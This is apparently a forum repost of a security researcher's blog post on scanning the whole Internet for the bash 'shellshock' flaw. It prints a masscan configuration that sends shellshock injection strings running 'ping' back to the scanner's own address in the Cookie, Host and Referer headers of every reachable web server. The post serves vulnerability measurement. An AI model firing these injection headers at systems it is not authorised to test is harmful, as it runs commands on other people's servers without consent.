Bash 'shellshock' scan of the Internet

[Nytro]

[h=3]Bash 'shellshock' scan of the Internet[/h] By Robert Graham

I'm running a scan right now of the Internet to test for the recent bash vulnerability, to see how widespread this is. My scan works by stuffing a bunch of "ping home" commands in various CGI variables. It's coming from IP address 209.126.230.72.

The configuration file for masscan looks something like:

target = 0.0.0.0/0

port = 80

banners = true

http-user-agent = shellshock-scan (Errata Security: Bash 'shellshock' scan of the Internet)

http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74

http-header[Host] = () { :; }; ping -c 3 209.126.230.74

http-header[Referer] = () { :; }; ping -c 3 209.126.230.74

(Actually, these last three options don't quite work due to bug, so you have to manually add them to the code https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120)

Some earlier shows that this bug is widespread:

A discussion of the results is at the next blogpost here. The upshot is this: while this scan found only a few thousand systems (because it's intentionally limited), it looks like the potential for a worm is high.

Sursa: Errata Security: Bash 'shellshock' scan of the Internet